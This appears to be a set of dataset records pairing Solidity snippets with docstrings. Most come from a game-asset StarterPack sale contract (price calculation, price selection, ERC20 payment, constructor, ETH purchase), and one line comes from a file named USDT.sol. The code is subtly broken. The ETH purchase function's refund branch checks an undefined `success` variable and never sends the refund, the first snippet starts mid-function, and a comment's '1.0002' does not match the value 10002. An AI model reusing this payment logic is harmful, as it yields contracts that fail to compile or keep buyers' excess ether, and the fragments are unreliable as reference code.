for (uint256 i = 0; i < catalystIds.length; i++) {
uint256 id = catalystIds[i];
uint256 quantity = catalystQuantities[i];
totalPrice = totalPrice.add(prices[id].mul(quantity));
}
for (uint256 i = 0; i < gemQuantities.length; i++) {
uint256 quantity = gemQuantities[i];
totalPrice = totalPrice.add(gemPrice.mul(quantity));
}
return totalPrice;
}
/// @dev Function to determine whether to use old or new prices
/// @return Array of prices
function _priceSelector() internal returns (uint256[] memory, uint256) {
uint256[] memory prices;
uint256 gemPrice;
// No price change:
if (_priceChangeTimestamp == 0) {
prices = _starterPackPrices;
gemPrice = _gemPrice;
} else {
// Price change delay has expired.
if (now > _priceChangeTimestamp + PRICE_CHANGE_DELAY) {
_priceChangeTimestamp = 0;
prices = _starterPackPrices;
gemPrice = _gemPrice;
} else {
// Price change has occured:
prices = _previousStarterPackPrices;
gemPrice = _previousGemPrice;
}
}
return (prices, gemPrice);
}
/// @dev Function to handle purchase with SAND or DAI
function _handlePurchaseWithERC20(
address buyer,
address payable paymentRecipient,
address tokenAddress,
uint256 amount
) internal {
ERC20 token = ERC20(tokenAddress);
uint256 amountForDestination = amount;
require(token.transferFrom(buyer, paymentRecipient, amountForDestination), "PAYMENT_TRANSFER_FAILED");
}
// /////////////////// CONSTRUCTOR ////////////////////
constructor(
address starterPackAdmin,
address sandContractAddress,
address initialMetaTx,
address payable initialWalletAddress,
address medianizerContractAddress,
address daiTokenContractAddress,
address erc20GroupCatalystAddress,
address erc20GroupGemAddress,
address initialSigningWallet,
uint256[] memory initialStarterPackPrices,
uint256 initialGemPrice
) public PurchaseValidator(initialSigningWallet) {
_setMetaTransactionProcessor(initialMetaTx, true);
_wallet = initialWalletAddress;
_admin = starterPackAdmin;
_sand = ERC20(sandContractAddress);
_medianizer = Medianizer(medianizerContractAddress);
_dai = ERC20(daiTokenContractAddress);
_erc20GroupCatalyst = ERC20Group(erc20GroupCatalystAddress);
_erc20GroupGem = ERC20Group(erc20GroupGemAddress);
_starterPackPrices = initialStarterPackPrices;
_previousStarterPackPrices = initialStarterPackPrices;
_gemPrice = initialGemPrice;
_previousGemPrice = initialGemPrice;
_sandEnabled = true; // Sand is enabled by default
_etherEnabled = true; // Ether is enabled by default
}
}
|
@notice Purchase StarterPacks with Ether @param buyer The destination address for the purchased Catalysts and Gems and the address that will pay for the purchase; if not metaTx then buyer must be equal to msg.sender @param message A message containing information about the Catalysts and Gems to be purchased @param signature A signed message specifying tx details refund extra
|
function purchaseWithETH(
address buyer,
Message calldata message,
bytes calldata signature
) external payable {
require(msg.sender == buyer || _metaTransactionContracts[msg.sender], "INVALID_SENDER");
require(_etherEnabled, "ETHER_IS_NOT_ENABLED");
require(buyer != address(0), "DESTINATION_ZERO_ADDRESS");
require(buyer != address(this), "DESTINATION_STARTERPACKV1_CONTRACT");
require(
isPurchaseValid(buyer, message.catalystIds, message.catalystQuantities, message.gemIds, message.gemQuantities, message.nonce, signature),
"INVALID_PURCHASE"
);
uint256 amountInSand = _calculateTotalPriceInSand(message.catalystIds, message.catalystQuantities, message.gemQuantities);
uint256 ETHRequired = getEtherAmountWithSAND(amountInSand);
require(msg.value >= ETHRequired, "NOT_ENOUGH_ETHER_SENT");
_wallet.transfer(ETHRequired);
_erc20GroupCatalyst.batchTransferFrom(address(this), buyer, message.catalystIds, message.catalystQuantities);
_erc20GroupGem.batchTransferFrom(address(this), buyer, message.gemIds, message.gemQuantities);
emit Purchase(buyer, message, amountInSand, address(0), ETHRequired);
if (msg.value - ETHRequired > 0) {
require(success, "REFUND_FAILED");
}
}
| 12,972,188
|
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./full_match/56/0x7c51AdC6A74Fbd5D4821035168371722aFA1FF9f/sources/USDT.sol
|
1.0002 in smallest unit (wei or equivalent)
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uint256 private _fixedValue = 10002;
| 3,231,887
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